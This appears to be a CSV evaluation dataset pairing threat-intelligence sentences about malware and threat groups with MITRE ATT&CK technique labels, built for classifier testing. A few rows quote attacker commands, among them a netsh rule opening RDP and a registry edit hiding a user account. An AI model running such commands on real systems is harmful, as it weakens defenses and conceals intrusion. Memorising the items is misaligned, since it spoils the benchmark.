Skeleton Key is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.,['T1556.001 - Domain Controller Authentication'],eval_config
PoshC2 can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.,['T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay'],eval_config
Cleaver has used custom tools to facilitate ARP cache poisoning.,['T1557.002 - ARP Cache Poisoning'],eval_config
Mimikatz's kerberos module can create silver tickets.,['T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket'],eval_config
"During Operation Wocao, threat actors used PowerSploit's `Invoke-Kerberoast` module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.",['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],eval_config
"Empire uses PowerSploit's ""Invoke-Kerberoast"" to request service tickets and return crackable ticket hashes.",['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],eval_config
SILENTTRINITY contains a module to conduct Kerberoasting.,['T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting'],eval_config
Bumblebee can use a COM object to execute queries to gather system information.,['T1559.001 - Component Object Model'],eval_config
TrickBot used COM to setup scheduled task for persistence.,['T1559.001 - Component Object Model'],eval_config
Ramsay has been delivered using OLE objects in malicious documents.,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],eval_config
"After collecting documents from removable media, Prikormka compresses the collected files, and encrypts it with Blowfish.",['T1560 - Archive Collected Data'],eval_config
Pillowmint has encrypted stolen credit card information with AES and further encoded it with Base64.,['T1560 - Archive Collected Data'],eval_config
APT33 has used WinRAR to compress data prior to exfil.,['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
AppleSeed can zip and encrypt data collected on a target system.,['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
"CORALDECK has created password-protected RAR, WinImage, and zip archives to be exfiltrated.",['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
Magic Hound has used gzip to archive dumped LSASS process memory and RAR to stage and compress local folders.,['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
Okrum was seen using a RAR archiver tool to compress/decompress data.,['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
Rclone can compress files using `gzip` prior to exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
Turla has encrypted files stolen from connected USB drives into a RAR file before exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],eval_config
BBSRAT can compress data with ZLIB prior to sending it back to the C2 server.,['T1560.002 - Archive Collected Data: Archive via Library'],eval_config
FunnyDream has compressed collected files with zLib.,['T1560.002 - Archive Collected Data: Archive via Library'],eval_config
Attor encrypts collected data with a custom implementation of Blowfish and RSA ciphers.,['T1560.003 - Archive via Custom Method'],eval_config
"FIN6 has encoded data gathered from the victim with a simple substitution cipher and single-byte XOR using the 0xAA key, and Base64 with character permutation.",['T1560.003 - Archive via Custom Method'],eval_config
FrameworkPOS can XOR credit card information before exfiltration.,['T1560.003 - Archive via Custom Method'],eval_config
Kimsuky has used RC4 encryption before exfil.,['T1560.003 - Archive via Custom Method'],eval_config
OSX_OCEANLOTUS.D scrambles and encrypts data using AES256 before sending it to the C2 server.,['T1560.003 - Archive via Custom Method'],eval_config
RawPOS encodes credit card data it collected from the victim with XOR.,['T1560.003 - Archive via Custom Method'],eval_config
T9000 encrypts collected data using a single byte XOR key.,['T1560.003 - Archive via Custom Method'],eval_config
"Lazarus Group has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.",['T1561.001 - Disk Content Wipe'],eval_config
RawDisk was used in Shamoon to help overwrite components of disk structure like the MBR and disk partitions.,['T1561.002 - Disk Structure Wipe'],eval_config
StoneDrill can wipe the master boot record of an infected computer.,['T1561.002 - Disk Structure Wipe'],eval_config
Malware used by Putter Panda attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe).,['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
RunningRAT kills antimalware running process.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
StrongPity can add directories used by the malware to the Windows Defender exclusions list to prevent detection.,['T1562.001 - Impair Defenses: Disable or Modify Tools'],eval_config
SILENTTRINITY can bypass ScriptBlock logging to execute unmanaged PowerShell code from memory.,['T1562.003 - Impair Defenses: Impair Command History Logging'],eval_config
Cyclops Blink can modify the Linux iptables firewall to enable C2 communication via a stored list of port numbers.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],eval_config
Dragonfly 2.0 has disabled host-based firewalls. The group has also globally opened port 3389.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],eval_config
"Magic Hound has added the following rule to a victim's Windows firewall to allow RDP traffic - `""netsh"" advfirewall firewall add rule name=""Terminal Server"" dir=in action=allow protocol=TCP localport=3389`.",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],eval_config
"PyDCrypt has modified firewall rules to allow incoming SMB, NetBIOS, and RPC connections using `netsh.exe` on remote machines.",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],eval_config
Various Lazarus Group malware modifies the Windows firewall to allow incoming connections or disable it entirely using netsh.,['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],eval_config
"ZxShell can disable the firewall by modifying the registry key ""HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile"".",['T1562.004 - Impair Defenses: Disable or Modify System Firewall'],eval_config
HermeticWiper has the ability to set the `HKLM:\SYSTEM\\CurrentControlSet\\Control\\CrashControl\CrashDumpEnabled` Registry key to `0` in order to disable crash dumps.,['T1562.006 - Impair Defenses: Indicator Blocking'],eval_config
REvil can force a reboot in safe mode with networking.,['T1562.009 - Impair Defenses: Safe Boot Mode'],eval_config
Tarrask is able to create “hidden” scheduled tasks by deleting the Security Descriptor (`SD`) registry value.,['T1564 - Hide Artifacts'],eval_config
BackConfig has the ability to set folders or files to be hidden from the Windows Explorer default view.,['T1564.001 - Hide Artifacts: Hidden Files and Directories'],eval_config
"CoinTicker downloads the following hidden files to evade detection and maintain persistence: /private/tmp/.info.enc, /private/tmp/.info.py, /private/tmp/.server.sh, ~/Library/LaunchAgents/.espl.plist, ~/Library/Containers/.[random string]/[random string].",['T1564.001 - Hide Artifacts: Hidden Files and Directories'],eval_config
"Kimsuky has run ""reg add ‘HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList’ /v"" to hide a newly created user.",['T1564.002 - Hide Artifacts: Hidden Users'],eval_config
"APT19 used ""-W Hidden"" to conceal PowerShell windows by setting the WindowStyle parameter to hidden.",['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
"Astaroth loads its module with the XSL script parameter ""vShow"" set to zero, which opens the application with a hidden window.",['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
HotCroissant has the ability to hide the window for operations performed on a given file.,['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
Magic Hound malware has a function to determine whether the C2 server wishes to execute the newly dropped file in a hidden window.,['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
PowerShower has added a registry key so future powershell.exe instances are spawned with coordinates for a window position off-screen by default.,['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
StrongPity has the ability to hide the console window for its document search module from the user.,['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
WindTail can instruct the OS to execute an application without a dock icon or menu.,['T1564.003 - Hide Artifacts: Hidden Window'],eval_config
Equation has used an encrypted virtual file system stored in the Windows Registry.,['T1564.005 - Hidden File System'],eval_config
"LoudMiner has used QEMU and VirtualBox to run a Tiny Core Linux virtual machine, which runs XMRig and makes connections to the C2 server for updates.",['T1564.006 - Run Virtual Instance'],eval_config
"Maze operators have used VirtualBox and a Windows 7 virtual machine to run the ransomware; the virtual machine's configuration file mapped the shared network drives of the target company, presumably so Maze can encrypt files on the shared drives as well as the local machine.",['T1564.006 - Run Virtual Instance'],eval_config
"LightNeuron is capable of modifying email content, headers, and attachments during transit.",['T1565.002 - Transmitted Data Manipulation'],eval_config
APT33 has sent spearphishing e-mails with archive attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
AppleSeed has been distributed to victims through malicious e-mail attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Clambling has been delivered to victim's machines through malicious e-mail attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Confucius has crafted and sent victims malicious attachments to gain initial access.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Darkhotel has sent spearphishing emails with malicious RAR and .LNK attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
"During Frankenstein, the threat actors likely used spearphishing emails to send malicious Microsoft Word documents.",['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
"FIN4 has used spearphishing emails containing attachments (which are often stolen, legitimate documents sent from compromised accounts) with embedded malicious macros.",['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
LazyScripter has used spam emails weaponized with archive or document files as its initial infection vector.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Mustang Panda has used spearphishing attachments to deliver initial access payloads.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Naikon has used malicious e-mail attachments to deliver malware.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
REvil has been distributed via malicious e-mail attachments including MS Word Documents.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Ramsay has been distributed through spearphishing emails with malicious attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Saint Bot has been distributed as malicious attachments within spearphishing emails.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Sidewinder has sent e-mails with malicious attachments often crafted for specific targets.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Taidoor has been delivered through spearphishing emails.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
Threat Group-3390 has used e-mail to deliver malicious attachments to victims.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
WIRTE has sent emails to intended victims with malicious MS Word and Excel attachments.,['T1566.001 - Phishing: Spearphishing Attachment'],eval_config
APT1 has sent spearphishing emails containing hyperlinks to malicious files.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
APT29 has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
APT3 has sent spearphishing emails containing malicious links.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
"During Operation Spalax, the threat actors sent phishing emails to victims that contained a malicious link.",['T1566.002 - Phishing: Spearphishing Link'],eval_config
Emotet has been delivered by phishing emails containing links.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
Evilnum has sent spearphishing emails containing a link to a zip file hosted on Google Drive.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
FIN4 has used spearphishing emails (often sent from compromised accounts) containing malicious links.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
FIN8 has distributed targeted emails containing links to malicious documents with embedded macros.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
Mustang Panda has delivered web bugs and malicious links to their intended targets.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
NETWIRE has been spread via e-mail campaigns utilizing malicious links.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
"Patchwork has used spearphishing with links to deliver files with exploits to initial victims. The group has also used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.",['T1566.002 - Phishing: Spearphishing Link'],eval_config
Pony has been delivered via spearphishing emails which contained malicious links.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
Valak has been delivered via malicious links in e-mail.,['T1566.002 - Phishing: Spearphishing Link'],eval_config
Dark Caracal spearphished victims via Facebook and Whatsapp.,['T1566.003 - Spearphishing via Service'],eval_config
BoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
Crutch has exfiltrated stolen data to Dropbox.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
"HAFNIUM has exfiltrated data to file sharing sites, including MEGA.",['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
Octopus has exfiltrated data to file sharing sites.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
Threat Group-3390 has exfiltrated stolen data to Dropbox.,['T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage'],eval_config
"For Operation Dust Storm, the threat actors used dynamic DNS domains from a variety of free providers, including No-IP, Oray, and 3322.",['T1568 - Dynamic Resolution'],eval_config
Transparent Tribe has used dynamic DNS services to set up C2.,['T1568 - Dynamic Resolution'],eval_config
menuPass has used dynamic DNS service providers to host malicious domains.,['T1568.001 - Fast Flux DNS'],eval_config
APT41 has used DGAs to change their C2 servers monthly.,['T1568.002 - Domain Generation Algorithms'],eval_config
Aria-body has the ability to use a DGA for C2 communications.,['T1568.002 - Domain Generation Algorithms'],eval_config
POSHSPY uses a DGA to derive command and control URLs from a word list.,['T1568.002 - Domain Generation Algorithms'],eval_config
"BBSRAT can start, stop, or delete services.",['T1569.002 - System Services: Service Execution'],eval_config
"Blue Mockingbird has executed custom-compiled XMRIG miner DLLs by configuring them to execute via the ""wercplsupport"" service.",['T1569.002 - System Services: Service Execution'],eval_config
Microsoft Sysinternals PsExec is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.,['T1569.002 - System Services: Service Execution'],eval_config
Pandora has the ability to install itself as a Windows service.,['T1569.002 - System Services: Service Execution'],eval_config
Pysa has used PsExec to copy and execute the ransomware.,['T1569.002 - System Services: Service Execution'],eval_config
Ragnar Locker has used sc.exe to execute a service that it creates.,['T1569.002 - System Services: Service Execution'],eval_config
SLOTHFULMEDIA has the capability to start services.,['T1569.002 - System Services: Service Execution'],eval_config
Silence has used Winexe to install a service on the remote system.,['T1569.002 - System Services: Service Execution'],eval_config
"gh0st RAT can execute its service if the Service key exists. If the key does not exist, gh0st RAT will create and run the service.",['T1569.002 - System Services: Service Execution'],eval_config
xCmd can be used to execute binaries on remote systems by creating and starting a service.,['T1569.002 - System Services: Service Execution'],eval_config
Operators deploying Netwalker have used psexec to copy the Netwalker payload across accessible systems.,['T1570 - Lateral Tool Transfer'],eval_config
"During Operation Wocao, the threat actors used uncommon high ports for its backdoor C2, including ports 25667 and 470000.",['T1571 - Non-Standard Port'],eval_config
MacMa has used TCP port 5633 for C2 Communication.,['T1571 - Non-Standard Port'],eval_config
"MoonWind communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.",['T1571 - Non-Standard Port'],eval_config
PingPull can use HTTPS over port 8080 for C2.,['T1571 - Non-Standard Port'],eval_config
"RedLeaves can use HTTP over non-standard ports, such as 995, for C2.",['T1571 - Non-Standard Port'],eval_config
SUGARUSH has used port 4585 for a TCP connection to its C2.,['T1571 - Non-Standard Port'],eval_config
Silence has used port 444 when sending data about the system from the client to the server.,['T1571 - Non-Standard Port'],eval_config
Some TrickBot samples have used HTTP over ports 447 and 8082 for C2. Newer versions of TrickBot have been known to use a custom communication protocol which sends the data unencrypted over port 443.,['T1571 - Non-Standard Port'],eval_config
StrongPity has used HTTPS over port 1402 in C2 communication.,['T1571 - Non-Standard Port'],eval_config
ZxShell can use ports 1985 and 1986 in HTTP/S communication.,['T1571 - Non-Standard Port'],eval_config
FLIPSIDE uses RDP to tunnel traffic from a victim environment.,['T1572 - Protocol Tunneling'],eval_config
FunnyDream can connect to HTTP proxies via TCP to create a tunnel to C2.,['T1572 - Protocol Tunneling'],eval_config
Leviathan has used protocol tunneling to further conceal C2 communications and infrastructure.,['T1572 - Protocol Tunneling'],eval_config
MacMa has used TLS encryption to initialize a custom protocol for C2 communications.,['T1573 - Encrypted Channel'],eval_config
3PARA RAT command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS. 3PARA RAT will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS if the DES decoding fails,['T1573.001 - Symmetric Cryptography'],eval_config
4H RAT obfuscates C2 communication using a 1-byte XOR with the key 0xBE.,['T1573.001 - Symmetric Cryptography'],eval_config
BendyBear communicates to a C2 server over port 443 using modified RC4 and XOR-encrypted chunks.,['T1573.001 - Symmetric Cryptography'],eval_config
CharmPower can send additional modules over C2 encrypted with a simple substitution cipher.,['T1573.001 - Symmetric Cryptography'],eval_config
Downdelph uses RC4 to encrypt C2 responses.,['T1573.001 - Symmetric Cryptography'],eval_config
Hi-Zor encrypts C2 traffic with a double XOR using two distinct single-byte keys.,['T1573.001 - Symmetric Cryptography'],eval_config
HotCroissant has compressed network communications and encrypted them with a custom stream cipher.,['T1573.001 - Symmetric Cryptography'],eval_config
Hydraq C2 traffic is encrypted using bitwise NOT and XOR operations.,['T1573.001 - Symmetric Cryptography'],eval_config
Inception has encrypted network communications with AES.,['T1573.001 - Symmetric Cryptography'],eval_config
InvisiMole uses variations of a simple XOR encryption routine for C&C communications.,['T1573.001 - Symmetric Cryptography'],eval_config
KONNI has used AES to encrypt C2 traffic.,['T1573.001 - Symmetric Cryptography'],eval_config
PipeMon communications are RC4 encrypted.,['T1573.001 - Symmetric Cryptography'],eval_config
QakBot can RC4 encrypt strings in C2 communication.,['T1573.001 - Symmetric Cryptography'],eval_config
SMOKEDHAM has encrypted its C2 traffic with RC4.,['T1573.001 - Symmetric Cryptography'],eval_config
SNUGRIDE encrypts C2 traffic using AES with a static key.,['T1573.001 - Symmetric Cryptography'],eval_config
SUNBURST encrypted C2 traffic using a single-byte-XOR cipher.,['T1573.001 - Symmetric Cryptography'],eval_config
The C2 server response to a beacon sent by a variant of Emissary contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of Emissary use various XOR operations to encrypt C2 data.,['T1573.001 - Symmetric Cryptography'],eval_config
The Komplex C2 channel uses an 11-byte XOR algorithm to hide data.,['T1573.001 - Symmetric Cryptography'],eval_config
TrickBot uses a custom crypter leveraging Microsoft’s CryptoAPI to encrypt C2 traffic.Newer versions of TrickBot have been known to use `bcrypt` to encrypt and digitally sign responses to their C2 server.,['T1573.001 - Symmetric Cryptography'],eval_config
WellMess can encrypt HTTP POST data using RC6 and a dynamically generated AES key encrypted with a hard coded RSA public key.,['T1573.001 - Symmetric Cryptography'],eval_config
A variant of ADVSTORESHELL encrypts some C2 with RSA.,['T1573.002 - Asymmetric Cryptography'],eval_config
Doki has used the embedTLS library for network communications.,['T1573.002 - Asymmetric Cryptography'],eval_config
Emotet is known to use RSA keys for encrypting C2 traffic.,['T1573.002 - Asymmetric Cryptography'],eval_config
Gazer uses custom encryption for C2 that uses RSA.,['T1573.002 - Asymmetric Cryptography'],eval_config
Koadic can use SSL and TLS for communications.,['T1573.002 - Asymmetric Cryptography'],eval_config
"ServHelper may set up a reverse SSH tunnel to give the attacker access to services running on the victim, such as RDP.",['T1573.002 - Asymmetric Cryptography'],eval_config
SodaMaster can use a hardcoded RSA key to encrypt some of its C2 traffic.,['T1573.002 - Asymmetric Cryptography'],eval_config
"Aquatic Panda has used DLL search-order hijacking to load `exe`, `dll`, and `dat` files into memory.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
Astaroth can launch itself via DLL Search Order Hijacking.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
"BOOSTWRITE has exploited the loading of the legitimate Dwrite.dll file by actually loading the gdi library, which then loads the gdiplus library and ultimately loads the local Dwrite dll.",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
Chaes has used search order hijacking to load a malicious DLL.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
Ramsay can hijack outdated Windows application dependencies with malicious versions of its own DLL payload.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
menuPass has used DLL search order hijacking.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],eval_config
Naikon has used DLL side-loading to load malicious DLL's into legitimate executables.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],eval_config
PlugX has used DLL side-loading to evade anti-virus.,['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],eval_config
Ebury has injected its dynamic library into descendent processes of sshd via LD_PRELOAD.,['T1574.006 - Hijack Execution Flow: LD_PRELOAD'],eval_config
Empire contains modules that can discover and exploit path interception opportunities in the PATH environment variable.,['T1574.007 - Path Interception by PATH Environment Variable'],eval_config
"During Operation Honeybee, the threat actors used a batch file that modified the COMSysApp service to load a malicious ipnet.dll payload and to load a DLL into the `svchost.exe` process.",['T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness'],eval_config
BITTER has registered a variety of domains to host malicious payloads and for C2.,['T1583.001 - Domains'],eval_config
"For C0010, UNC3890 actors established domains that appeared to be legitimate services and entities, such as LinkedIn, Facebook, Office 365, and Pfizer.",['T1583.001 - Domains'],eval_config
Kimsuky has registered domains to spoof targeted organizations and trusted third parties.,['T1583.001 - Domains'],eval_config
"Sandworm Team has registered domain names and created URLs that are often designed to mimic or spoof legitimate websites, such as email login pages, online file sharing and storage websites, and password reset pages.",['T1583.001 - Domains'],eval_config
"Transparent Tribe has registered domains to mimic file sharing, government, defense, and research websites for use in targeted campaigns.",['T1583.001 - Domains'],eval_config
ZIRCONIUM has purchased domains for use in targeted campaigns.,['T1583.001 - Domains'],eval_config
LAPSUS$ has used VPS hosting providers for infrastructure.,['T1583.003 - Virtual Private Server'],eval_config
TEMP.Veles has used Virtual Private Server (VPS) infrastructure.,['T1583.003 - Virtual Private Server'],eval_config
GALLIUM has used Taiwan-based servers that appear to be exclusive to GALLIUM.,['T1583.004 - Server'],eval_config
Kimsuky has purchased hosting servers with virtual currency and prepaid cards.,['T1583.004 - Server'],eval_config
"APT32 has set up Dropbox, Amazon S3, and Google Drive to host malicious downloads.",['T1583.006 - Web Services'],eval_config
Lazarus Group has hosted malicious downloads on Github and Dropbox.,['T1583.006 - Web Services'],eval_config
MuddyWater has used file sharing services including OneHub to distribute tools.,['T1583.006 - Web Services'],eval_config
Turla has used the VPS infrastructure of compromised Iranian threat actors.,['T1584.003 - Virtual Private Server'],eval_config
Lazarus Group has compromised servers to stage malicious tools.,['T1584.004 - Server'],eval_config
Axiom has used large groups of compromised machines for use as proxy nodes.,['T1584.005 - Botnet'],eval_config
"APT17 has created and cultivated profile pages in Microsoft TechNet. To make profile pages appear more legitimate, APT17 has created biographical sections and posted in forum threads.",['T1585 - Establish Accounts'],eval_config
Fox Kitten has created KeyBase accounts to communicate with ransomware victims.,['T1585 - Establish Accounts'],eval_config
"Cleaver has created fake LinkedIn profiles that included profile photos, details, and connections.",['T1585.001 - Social Media Accounts'],eval_config
Sandworm Team has established social media accounts to disseminate victim internal-only documents and other sensitive data.,['T1585.001 - Social Media Accounts'],eval_config
"During Operation Honeybee, attackers created email addresses to register for a free account for a control server used for the implants.",['T1585.002 - Email Accounts'],eval_config
APT29 has compromised email accounts to further enable phishing campaigns.,['T1586.002 - Email Accounts'],eval_config
Magic Hound has compromised personal email accounts through the use of legitimate credentials and gathered additional victim information.,['T1586.002 - Email Accounts'],eval_config
Andariel has used a variety of publicly-available remote access Trojans (RATs) for its operations.,['T1588.001 - Malware'],eval_config
"Earth Lusca has acquired and used a variety of malware, including Cobalt Strike.",['T1588.001 - Malware'],eval_config
APT39 has modified and used customized versions of publicly-available tools like PLINK and Mimikatz.,['T1588.002 - Tool'],eval_config
Aquatic Panda has acquired and used Cobalt Strike in its operations.,['T1588.002 - Tool'],eval_config
"For C0010, UNC3890 actors obtained multiple publicly-available tools, including METASPLOIT, UNICORN, and NorthStar C2.",['T1588.002 - Tool'],eval_config
Inception has obtained and used open-source tools such as LaZagne.,['T1588.002 - Tool'],eval_config
IndigoZebra has acquired open source tools such as NBTscan and Meterpreter for their operations.,['T1588.002 - Tool'],eval_config
Patchwork has obtained and used open-source tools such as QuasarRAT.,['T1588.002 - Tool'],eval_config
HAFNIUM has collected e-mail addresses for users they intended to target.,['T1589.002 - Email Addresses'],eval_config
MuddyWater has specifically targeted government agency employees with spearphishing e-mails.,['T1589.002 - Email Addresses'],eval_config
TA551 has used spoofed company emails that were acquired from email clients on previously infected hosts to target other individuals.,['T1589.002 - Email Addresses'],eval_config
Kimsuky has collected victim employee name information.,['T1589.003 - Employee Names'],eval_config
HAFNIUM has obtained IP addresses for publicly-accessible Exchange servers.,['T1590.005 - IP Addresses'],eval_config
"Kimsuky has collected victim organization information including but not limited to organization hierarchy, functions, press releases, and others.",['T1591 - Gather Victim Org Information'],eval_config
"In preparation for its attack against the 2018 Winter Olympics, Sandworm Team conducted online research of partner organizations listed on an official PyeongChang Olympics partnership site.",['T1591.002 - Business Relationships'],eval_config
"Sandworm Team researched Ukraine's unique legal entity identifier (called an ""EDRPOU"" number), including running queries on the EDRPOU website, in preparation for the NotPetya attack. Sandworm Team has also researched third-party websites to help it craft credible spearphishing emails.",['T1593 - Search Open Websites/Domains'],eval_config
Aquatic Panda has used publicly accessible DNS logging services to identify servers vulnerable to Log4j (CVE 2021-44228).,['T1595.002 - Vulnerability Scanning'],eval_config
Volatile Cedar has performed vulnerability scans of the target server.,['T1595.002 - Vulnerability Scanning'],eval_config
SideCopy has crafted generic lures for spam campaigns to collect emails and credentials for targeting efforts.,['T1598.002 - Spearphishing Attachment'],eval_config
Mustang Panda has hosted malicious payloads on DropBox including PlugX.,['T1608.001 - Upload Malware'],eval_config
"APT32 has stood up websites containing numerous articles and content scraped from the Internet to make them appear legitimate, but some of these pages include malicious JavaScript to profile the potential victim or infect them via a fake software update.",['T1608.004 - Drive-by Target'],eval_config
Peirates can use `kubectl` or the Kubernetes API to run commands.,['T1609 - Kubernetes Exec Into Container'],eval_config
"Before executing malicious code, Ragnar Locker checks the Windows API ""GetLocaleInfoW"" and doesn't encrypt files if it finds a former Soviet country.",['T1614 - System Location Discovery'],eval_config
DarkWatchman can identity the OS locale of a compromised host.,['T1614 - System Location Discovery'],eval_config
SideCopy has identified the country location of a compromised host.,['T1614 - System Location Discovery'],eval_config
Avaddon checks for specific keyboard layouts and OS languages to avoid targeting Commonwealth of Independent States (CIS) entities.,['T1614.001 - System Location Discovery: System Language Discovery'],eval_config
Bazar can perform a check to ensure that the operating system's keyboard and language settings are not set to Russian.,['T1614.001 - System Location Discovery: System Language Discovery'],eval_config
"Cuba can check if Russian language is installed on the infected machine by using the function ""GetKeyboardLayoutList"".",['T1614.001 - System Location Discovery: System Language Discovery'],eval_config
"REvil can check the system language using ""GetUserDefaultUILanguage"" and ""GetSystemDefaultUILanguage"". If the language is found in the list, the process terminates.",['T1614.001 - System Location Discovery: System Language Discovery'],eval_config
Peirates can list AWS S3 buckets.,['T1619 - Cloud Storage Object Discovery'],eval_config
"ThiefQuest uses various API functions such as ""NSCreateObjectFileImageFromMemory"" to load and link in-memory payloads.",['T1620 - Reflective Code Loading'],eval_config
starts a rootkit from a malicious file dropped to disk.,"['T1014 - Rootkit', 'T1014 - Rootkit']",eval_config
can collect the victim user name.,"['T1033 - System Owner/User Discovery', 'T1033 - System Owner/User Discovery']",eval_config
"""beacon"" payload is capable of running shell commands without cmd.exe and PowerShell commands without powershell.exe",['T1106 - Native API'],eval_config
actors look for and use VPN profiles during an operation to access the network using external VPN services.,['T1133 - External Remote Services'],eval_config
"actors used a victim's endpoint management platform, Altiris, for lateral movement.",['T1072 - Software Deployment Tools'],eval_config
actors used the following commands after exploiting a machine with  malware to obtain information about the OS: ver >> %temp%\download systeminfo >> %temp%\download,['T1082 - System Information Discovery'],eval_config
adds a Visual Basic script in the Startup folder to deploy the payload.,['T1064 - Scripting'],eval_config
adds itself to a Registry Run key with the name guidVGA or guidVSA.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
adds itself to the Registry key HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Run\ for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
adds itself to the Registry key Software\Microsoft\Windows\CurrentVersion\Run to establish persistence upon reboot.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"Adversaries can direct  to execute from the command-line on infected hosts, or have  create a reverse shell.",['T1059 - Command and Scripting Interpreter'],eval_config
"After creating a new service for persistence,  sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.",['T1070.006 - Indicator Removal on Host: Timestomp'],eval_config
"After re-establishing access to a victim network,  actors download tools including  and WCE that are staged temporarily on websites that were previously compromised but never used.",['T1105 - Ingress Tool Transfer'],eval_config
aggregates staged data from a network into a single location.,['T1074 - Data Staged'],eval_config
A  macro has run a PowerShell command to decode file contents.  has also used  to decode base64-encoded files on victims.,['T1140 - Deobfuscate/Decode Files or Information'],eval_config
A  malware sample conducts C2 over HTTP.,['T1071 - Application Layer Protocol'],eval_config
A module in  allows arbitrary commands to be executed by invoking C:\Windows\System32\cmd.exe.,['T1059 - Command and Scripting Interpreter'],eval_config
A module in  collects passwords stored in applications installed on the victim.,['T1003 - OS Credential Dumping'],eval_config
